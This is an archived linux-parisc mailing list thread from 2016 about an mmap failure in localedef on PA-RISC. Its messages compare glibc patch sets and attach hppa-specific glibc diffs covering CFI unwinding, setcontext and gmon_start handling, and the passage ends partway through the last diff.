Should have been upstreamed in 2014?

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Mon, 5 Dec 2016 22:58:37 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20161205205837.7jvnprhqa4tpruud@raspberrypi-2.musicnaut.iki.fi>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee>
 <20161205181048.b2go7er5csdxekno@raspberrypi-2.musicnaut.iki.fi>
 <134f93f3-c4cb-8fd8-15b0-8b660a099338@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1480971526 20498 195.159.176.226 (5 Dec 2016 20:58:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2016 20:58:46 +0000 (UTC)
User-Agent: NeoMutt/20161104 (1.7.1)
Cc: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 21:58:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cE0LN-0003y4-6Y
	for glpp-linux-parisc@m.gmane.org; Mon, 05 Dec 2016 21:58:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751847AbcLEU6k (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 5 Dec 2016 15:58:40 -0500
Original-Received: from emh04.mail.saunalahti.fi ([62.142.5.110]:54770 "EHLO
        emh04.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751510AbcLEU6k (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 5 Dec 2016 15:58:40 -0500
Original-Received: from raspberrypi-2.musicnaut.iki.fi (85-76-78-12-nat.elisa-mobile.fi [85.76.78.12])
        by emh04.mail.saunalahti.fi (Postfix) with ESMTP id 3C2201A2633;
        Mon,  5 Dec 2016 22:58:38 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <134f93f3-c4cb-8fd8-15b0-8b660a099338@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27092
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27092>

Hi,

On Mon, Dec 05, 2016 at 01:49:05PM -0500, John David Anglin wrote:
> On 2016-12-05 1:10 PM, Aaro Koskinen wrote:
> > On Mon, Dec 05, 2016 at 01:36:17PM +0200, Meelis Roos wrote:
> > This is known longstanding issue: https://sourceware.org/bugzilla/show_bug.cgi?id=19838
> But why has it come back?  What kernel and glibc versions are you using?
> This patch was supposed
> to have fixed issue:
> http://marc.info/?l=git-commits-head&m=138617700412279&w=2

I think glibc fix is also needed.

> I think the local-shmlba.diff patch was removed but I can't check at the
> moment.
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=725508

I use 4.9-rcX and glibc 2.24 with patches from Gentoo branch:

https://sourceware.org/git/?p=glibc.git;a=shortlog;h=refs/heads/gentoo/2.24

I guess Debian is carrying some bug fix(es) missing from upstream...

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Mon, 5 Dec 2016 22:17:03 +0100
Organization: Gentoo Project
Lines: 20
Approved: news@gmane.org
Message-ID: <20161205221703.6f0620f2@rej.fritz.box>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee>
        <20161205181048.b2go7er5csdxekno@raspberrypi-2.musicnaut.iki.fi>
        <134f93f3-c4cb-8fd8-15b0-8b660a099338@bell.net>
        <alpine.LRH.2.20.1612052309450.4997@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1480972633 15377 195.159.176.226 (5 Dec 2016 21:17:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2016 21:17:13 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        Aaro Koskinen <aaro.koskinen@iki.fi>,
        linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 22:17:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cE0dG-0001pq-Op
	for glpp-linux-parisc@m.gmane.org; Mon, 05 Dec 2016 22:17:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751328AbcLEVRK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 5 Dec 2016 16:17:10 -0500
Original-Received: from lb2-smtp-cloud2.xs4all.net ([194.109.24.25]:41789 "EHLO
        lb2-smtp-cloud2.xs4all.net" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1751311AbcLEVRK (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 5 Dec 2016 16:17:10 -0500
Original-Received: from rej.fritz.box ([176.74.242.81])
        by smtp-cloud2.xs4all.net with ESMTP
        id GMH41u0051m4y8o01MH5ni; Mon, 05 Dec 2016 22:17:09 +0100
In-Reply-To: <alpine.LRH.2.20.1612052309450.4997@math.ut.ee>
X-Mailer: Claws Mail 3.14.1 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27093
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27093>

On Mon, 5 Dec 2016 23:12:38 +0200 (EET)
Meelis Roos <mroos@linux.ee> wrote:

> > I think the local-shmlba.diff patch was removed but I can't check
> > at the moment.
> > https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=725508  

Perhaps Gentoo dropped that patch at some glibc version bump?

> Should have been upstreamed in 2014?

That precisely how Debian does not do and has never done things. Sadly.


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Mon, 5 Dec 2016 16:17:47 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <a5349909-f4d8-1f0a-abbf-d16945f53ed6@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee>
 <20161205181048.b2go7er5csdxekno@raspberrypi-2.musicnaut.iki.fi>
 <134f93f3-c4cb-8fd8-15b0-8b660a099338@bell.net>
 <20161205205837.7jvnprhqa4tpruud@raspberrypi-2.musicnaut.iki.fi>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1480972673 6211 195.159.176.226 (5 Dec 2016 21:17:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2016 21:17:53 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 22:17:48 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cE0dw-0001pq-2V
	for glpp-linux-parisc@m.gmane.org; Mon, 05 Dec 2016 22:17:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751433AbcLEVRu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 5 Dec 2016 16:17:50 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:51799 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751373AbcLEVRu (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 5 Dec 2016 16:17:50 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20161205211748.RDCG12461.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 5 Dec 2016 16:17:48 -0500
Original-Received: from [192.168.0.125] (really [69.156.4.4]) by mtlspm01.bell.net
          with ESMTP
          id <20161205211748.NFGI3828.mtlspm01.bell.net@[192.168.0.125]>;
          Mon, 5 Dec 2016 16:17:48 -0500
In-Reply-To: <20161205205837.7jvnprhqa4tpruud@raspberrypi-2.musicnaut.iki.fi>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.5845D97C.03C7,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27094
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27094>

On 2016-12-05 3:58 PM, Aaro Koskinen wrote:
> I use 4.9-rcX and glibc 2.24 with patches from Gentoo branch:
>
> https://sourceware.org/git/?p=glibc.git;a=shortlog;h=refs/heads/gentoo/2.24
>
> I guess Debian is carrying some bug fix(es) missing from upstream...
Yes.  However the trunk is much closer to being usable than it has been 
for some time thanks
to Aurelian Jarno and Mike Frysinger.  Most recently, we have resolved 
the syscall cancellation
bug that causes a number of tests to fail.  It fixes unwinding during 
syscall cancellation.

I'll post the current Debian patch set for hppa tonight and maybe we can 
consolidate.
Current test results can be seen in this build log for 2.24:
https://buildd.debian.org/status/fetch.php?pkg=glibc&arch=hppa&ver=2.24-7&stamp=1480210404

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Mon, 5 Dec 2016 18:50:57 -0500
Lines: 732
Approved: news@gmane.org
Message-ID: <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <20161205181048.b2go7er5csdxekno@raspberrypi-2.musicnaut.iki.fi> <134f93f3-c4cb-8fd8-15b0-8b660a099338@bell.net> <20161205205837.7jvnprhqa4tpruud@raspberrypi-2.musicnaut.iki.fi> <a5349909-f4d8-1f0a-abbf-d16945f53ed6@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-30-163483931
X-Trace: blaine.gmane.org 1480982406 28106 195.159.176.226 (6 Dec 2016 00:00:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Dec 2016 00:00:06 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, Meelis Roos <mroos@linux.ee>,
        linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 06 00:59:58 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cE3Ar-0002gh-Ab
	for glpp-linux-parisc@m.gmane.org; Tue, 06 Dec 2016 00:59:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752700AbcLFAAB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 5 Dec 2016 19:00:01 -0500
Original-Received: from belmont94srvr.owm.bell.net ([184.150.200.94]:60465 "EHLO
        mtlfep07.bell.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752458AbcLFAAA (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 5 Dec 2016 19:00:00 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20161205235057.OTWB8341.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 5 Dec 2016 18:50:57 -0500
Original-Received: from [192.168.2.10] (really [184.144.120.170])
          by mtlspm01.bell.net with ESMTP
          id <20161205235057.PMDB3828.mtlspm01.bell.net@[192.168.2.10]>;
          Mon, 5 Dec 2016 18:50:57 -0500
In-Reply-To: <a5349909-f4d8-1f0a-abbf-d16945f53ed6@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.5845FD61.02D9,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27095
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27095>


--Apple-Mail-30-163483931
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2016-12-05, at 4:17 PM, John David Anglin wrote:

> I'll post the current Debian patch set for hppa tonight and maybe we =
can consolidate.

I believe the two hppa specific patches that gentoo has are now =
installed upstream.

Here is current debian patch set for 2.24.  I believe =
cvs-atomic-machine.diff  has been applied.  The 'submitted-*'
patches have been submitted but not yet applied upstream.

There is one small bit of the _STACK_GROWS_UP patch that wasn't =
installed upstream.  It fixes a
testsuite regression.

The submitted-gmon-start.diff patch removes __gmon_start__ from shared =
libraries.  It presence breaks
--as-needed handling in the linker.  However, it's removal is a bit =
tricky and can result in broken packages
needing rebuilding.  This can be bad if the package happens to be the =
compiler or other crucial package.
Essentially everything has been rebuilt on debian.

We still have a change to SHMLBA which affects non standard page sizes.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-30-163483931
Content-Disposition: attachment;
	filename=submitted-sysdeps-cancel.diff
Content-Type: application/octet-stream;
	name="submitted-sysdeps-cancel.diff"
Content-Transfer-Encoding: 7bit

diff --git a/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h b/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
index cafc752..f239408 100644
--- a/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
+++ b/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
@@ -62,12 +62,11 @@
 	ENTRY (__##syscall_name##_nocancel)				\
 	DOARGS_##args					ASM_LINE_SEP	\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	\
+	.cfi_def_cfa_offset -64				ASM_LINE_SEP	\
 	.cfi_offset TREG, 0				ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	\
-	.cfi_offset 30, -4				ASM_LINE_SEP	\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	\
-	.cfi_offset 19, -32				ASM_LINE_SEP	\
+	.cfi_offset 19, 32				ASM_LINE_SEP	\
 	/* Save r19 */					ASM_LINE_SEP	\
 	SAVE_PIC(TREG)					ASM_LINE_SEP	\
 	/* Do syscall, delay loads # */			ASM_LINE_SEP	\
@@ -91,21 +90,19 @@ L(pre_nc_end):						ASM_LINE_SEP	\
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	\
 	/* Undo frame */				ASM_LINE_SEP	\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	\
 	/* Restore rp before exit */			ASM_LINE_SEP	\
 	ldw -20(%sp), %rp				ASM_LINE_SEP	\
-	.cfi_restore 2					ASM_LINE_SEP	\
 	ret						ASM_LINE_SEP	\
 	END(__##syscall_name##_nocancel)		ASM_LINE_SEP	\
 	/**********************************************/ASM_LINE_SEP	\
 	ENTRY (name)							\
 	DOARGS_##args					ASM_LINE_SEP	\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	\
+	.cfi_def_cfa_offset -64				ASM_LINE_SEP	\
+	.cfi_offset TREG, 0				ASM_LINE_SEP	\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	\
-	.cfi_offset 30, -4				ASM_LINE_SEP	\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	\
-	.cfi_offset 19, -32				ASM_LINE_SEP	\
+	.cfi_offset 19, 32				ASM_LINE_SEP	\
 	/* Done setting up frame, continue... */	ASM_LINE_SEP	\
 	SINGLE_THREAD_P					ASM_LINE_SEP	\
 	cmpib,<>,n 0,%ret0,L(pseudo_cancel)		ASM_LINE_SEP	\
@@ -168,40 +165,32 @@ L(pre_end):						ASM_LINE_SEP	\
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	\
 	/* Undo frame */				ASM_LINE_SEP	\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	\
 	/* Restore rp before exit */			ASM_LINE_SEP	\
-	ldw -20(%sp), %rp				ASM_LINE_SEP	\
-	.cfi_restore 2					ASM_LINE_SEP
+	ldw -20(%sp), %rp				ASM_LINE_SEP
 
 /* Save arguments into our frame */
 # define PUSHARGS_0	/* nothing to do */
 # define PUSHARGS_1	PUSHARGS_0 stw %r26, -36(%sr0,%sp)	ASM_LINE_SEP	\
-			.cfi_offset 26, -36			ASM_LINE_SEP
+			.cfi_offset 26, 28			ASM_LINE_SEP
 # define PUSHARGS_2	PUSHARGS_1 stw %r25, -40(%sr0,%sp)	ASM_LINE_SEP	\
-			.cfi_offset 25, -40			ASM_LINE_SEP
+			.cfi_offset 25, 24			ASM_LINE_SEP
 # define PUSHARGS_3	PUSHARGS_2 stw %r24, -44(%sr0,%sp)	ASM_LINE_SEP	\
-			.cfi_offset 24, -44			ASM_LINE_SEP
+			.cfi_offset 24, 20			ASM_LINE_SEP
 # define PUSHARGS_4	PUSHARGS_3 stw %r23, -48(%sr0,%sp)	ASM_LINE_SEP	\
-			.cfi_offset 23, -48			ASM_LINE_SEP
+			.cfi_offset 23, 16			ASM_LINE_SEP
 # define PUSHARGS_5	PUSHARGS_4 stw %r22, -52(%sr0,%sp)	ASM_LINE_SEP	\
-			.cfi_offset 22, -52			ASM_LINE_SEP
+			.cfi_offset 22, 12			ASM_LINE_SEP
 # define PUSHARGS_6	PUSHARGS_5 stw %r21, -56(%sr0,%sp)	ASM_LINE_SEP	\
-			.cfi_offset 21, -56			ASM_LINE_SEP
+			.cfi_offset 21, 8			ASM_LINE_SEP
 
 /* Bring them back from the stack */
 # define POPARGS_0	/* nothing to do */
-# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	ASM_LINE_SEP	\
-			.cfi_restore 26				ASM_LINE_SEP
-# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	ASM_LINE_SEP	\
-			.cfi_restore 25				ASM_LINE_SEP
-# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	ASM_LINE_SEP	\
-			.cfi_restore 24				ASM_LINE_SEP
-# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	ASM_LINE_SEP	\
-			.cfi_restore 23				ASM_LINE_SEP
-# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	ASM_LINE_SEP	\
-			.cfi_restore 22				ASM_LINE_SEP
-# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	ASM_LINE_SEP	\
-			.cfi_restore 21				ASM_LINE_SEP
+# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	ASM_LINE_SEP
+# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	ASM_LINE_SEP
+# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	ASM_LINE_SEP
+# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	ASM_LINE_SEP
+# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	ASM_LINE_SEP
+# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	ASM_LINE_SEP
 
 # if IS_IN (libpthread)
 #  ifdef PIC
diff --git a/sysdeps/unix/sysv/linux/hppa/sysdep.h b/sysdeps/unix/sysv/linux/hppa/sysdep.h
index b459f0a..00cb366 100644
--- a/sysdeps/unix/sysv/linux/hppa/sysdep.h
+++ b/sysdeps/unix/sysv/linux/hppa/sysdep.h
@@ -49,11 +49,9 @@
    to another function */
 #define TREG 4
 #define SAVE_PIC(SREG) \
-	copy %r19, SREG ASM_LINE_SEP	\
-	.cfi_register 19, SREG
+	copy %r19, SREG
 #define LOAD_PIC(LREG) \
-	copy LREG , %r19 ASM_LINE_SEP	\
-	.cfi_restore 19
+	copy LREG , %r19
 /* Inline assembly defines */
 #define TREG_ASM "%r4" /* Cant clobber r3, it holds framemarker */
 #define SAVE_ASM_PIC	"       copy %%r19, %" TREG_ASM "\n"
@@ -292,12 +290,11 @@
 #define DO_CALL(syscall_name, args)				\
 	/* Create a frame */			ASM_LINE_SEP	\
 	stwm TREG, 64(%sp)			ASM_LINE_SEP	\
+	.cfi_def_cfa_offset -64			ASM_LINE_SEP	\
 	.cfi_offset TREG, 0			ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset 64		ASM_LINE_SEP	\
 	stw %sp, -4(%sp)			ASM_LINE_SEP	\
-	.cfi_offset 30, -4			ASM_LINE_SEP	\
 	stw %r19, -32(%sp)			ASM_LINE_SEP	\
-	.cfi_offset 19, -32			ASM_LINE_SEP	\
+	.cfi_offset 19, 32			ASM_LINE_SEP	\
 	/* Save r19 */				ASM_LINE_SEP	\
 	SAVE_PIC(TREG)				ASM_LINE_SEP	\
 	/* Do syscall, delay loads # */		ASM_LINE_SEP	\
@@ -320,10 +317,8 @@
 L(pre_end):					ASM_LINE_SEP	\
 	/* Restore our frame, restoring TREG */	ASM_LINE_SEP	\
 	ldwm -64(%sp), TREG			ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset -64		ASM_LINE_SEP	\
 	/* Restore return pointer */		ASM_LINE_SEP	\
-	ldw -20(%sp),%rp			ASM_LINE_SEP	\
-	.cfi_restore 2				ASM_LINE_SEP
+	ldw -20(%sp),%rp			ASM_LINE_SEP
 
 /* We do nothing with the return, except hand it back to someone else */
 #undef  DO_CALL_NOERRNO

--Apple-Mail-30-163483931
Content-Disposition: attachment;
	filename=submitted-setcontext.diff
Content-Type: application/octet-stream;
	name="submitted-setcontext.diff"
Content-Transfer-Encoding: 7bit

Index: glibc-2.22/sysdeps/unix/sysv/linux/hppa/setcontext.S
===================================================================
--- glibc-2.22.orig/sysdeps/unix/sysv/linux/hppa/setcontext.S
+++ glibc-2.22/sysdeps/unix/sysv/linux/hppa/setcontext.S
@@ -141,7 +141,7 @@ ENTRY(__setcontext)
 
 	/* No further context available. Exit now.  */
 	bl	HIDDEN_JUMPTARGET(exit), %r2
-	ldi	-1, %r26
+	ldi	0, %r26
 
 
 .Lerror:

--Apple-Mail-30-163483931
Content-Disposition: attachment;
	filename=submitted-gmon-start.diff
Content-Type: application/octet-stream;
	name="submitted-gmon-start.diff"
Content-Transfer-Encoding: 7bit

2015-11-15  Helge Deller  <deller@gmx.de>
	    John David Anglin  <danglin@gcc.gnu.org>

	PR libc/19170
	* sysdeps/hppa/crti.S (gmon_initializer): New.  Use .init_array support
	to call gmon_initializer.  Only call __gmon_start__ when symbol is
	defined at runtime.
	* sysdeps/hppa/crtn.S (__gmon_start__): Delete.
	* sysdeps/hppa/dl-lookupcfg.h (DL_FIXUP_MAKE_VALUE): Provide null
	function descriptor when MAP argument is null.
	* sysdeps/hppa/dl-trampoline.S (_dl_runtime_resolve): Return directly
	to previous function when function is undefined.

diff --git a/sysdeps/hppa/crti.S b/sysdeps/hppa/crti.S
index 98f1af5..568a999 100644
--- a/sysdeps/hppa/crti.S
+++ b/sysdeps/hppa/crti.S
@@ -49,6 +49,95 @@
 # define PREINIT_FUNCTION_WEAK 1
 #endif
 
+#if PREINIT_FUNCTION_WEAK
+	weak_extern (PREINIT_FUNCTION)
+#else
+	.hidden PREINIT_FUNCTION
+#endif
+
+
+/* If we have working .init_array support, we want to keep the .init
+   section empty (apart from the mandatory prologue/epilogue.  This
+   ensures that the default unwind conventions (return-pointer in b0,
+   frame state in ar.pfs, etc.)  will do the Right Thing.  To ensure
+   an empty .init section, we register gmon_initializer() via the
+   .init_array.
+
+    --davidm 02/10/29 */
+
+#if PREINIT_FUNCTION_WEAK
+/* This blob of assembly code is one simple C function:
+
+static void
+__attribute__ ((used))
+gmon_initializer (void)
+{
+  extern void weak_function __gmon_start__ (void);
+
+  if (__gmon_start__)
+    (*__gmon_start__)();
+}
+
+In a final executable, PLABEL32 relocations for function pointers are
+resolved at link time.  Typically, binutils/ld resolves __gmon_start__
+using an external shared library.  __gmon_start__ is always called if
+it is found at link time.  If __gmon_start__ is not found at runtime
+due to a library update, then the function pointer will point at a null
+function descriptor and calling it will cause a segmentation fault.
+So, we call __canonicalize_funcptr_for_compare to obtain the canonicalized
+address of __gmon_start__ and skip calling __gmon_start__ if it is zero.
+
+ */
+	.type __canonicalize_funcptr_for_compare,@function
+	.type $$dyncall,@function
+
+	.section .data.rel.ro,"aw",@progbits
+	.align 4
+.LC0:
+	.type __gmon_start__,@function
+	.word P%__gmon_start__
+
+	.text
+	.align 4
+	.type gmon_initializer,@function
+gmon_initializer:
+	.PROC
+	.CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=4
+	.ENTRY
+	stw %r2,-20(%r30)
+	stwm %r4,64(%r30)
+	stw %r3,-60(%r30)
+	addil LT'.LC0,%r19
+	ldw RT'.LC0(%r1),%r28
+	ldw 0(%r28),%r3
+	comib,= 0,%r3,1f
+	copy %r19,%r4
+	stw %r19,-32(%r30)
+	bl __canonicalize_funcptr_for_compare,%r2
+	copy %r3,%r26
+	comib,= 0,%r28,1f
+	copy %r4,%r19
+	copy %r3,%r22
+	.CALL ARGW0=GR
+	bl $$dyncall,%r31
+	copy %r31,%r2
+1:
+	ldw -84(%r30),%r2
+	ldw -60(%r30),%r3
+	bv %r0(%r2)
+	ldwm -64(%r30),%r4
+	.EXIT
+	.PROCEND
+	.size gmon_initializer, .-gmon_initializer
+
+# undef PREINIT_FUNCTION
+# define PREINIT_FUNCTION gmon_initializer
+#endif
+
+	.section .init_array, "aw"
+	.word P% PREINIT_FUNCTION
+
+
 /* _init prologue.  */
 	.section .init, "ax", %progbits
 	.align 4
@@ -58,14 +147,6 @@ _init:
 	stw	%rp,-20(%sp)
 	stwm	%r4,64(%sp)
 	stw	%r19,-32(%sp)
-#if PREINIT_FUNCTION_WEAK
-	bl	PREINIT_FUNCTION,%rp
-	copy	%r19,%r4	/* delay slot */
-#else
-	bl	PREINIT_FUNCTION,%rp
-	copy	%r19,%r4	/* delay slot */
-#endif
-	copy	%r4,%r19
 
 /* _fini prologue.  */
         .section .fini,"ax",%progbits
diff --git a/sysdeps/hppa/crtn.S b/sysdeps/hppa/crtn.S
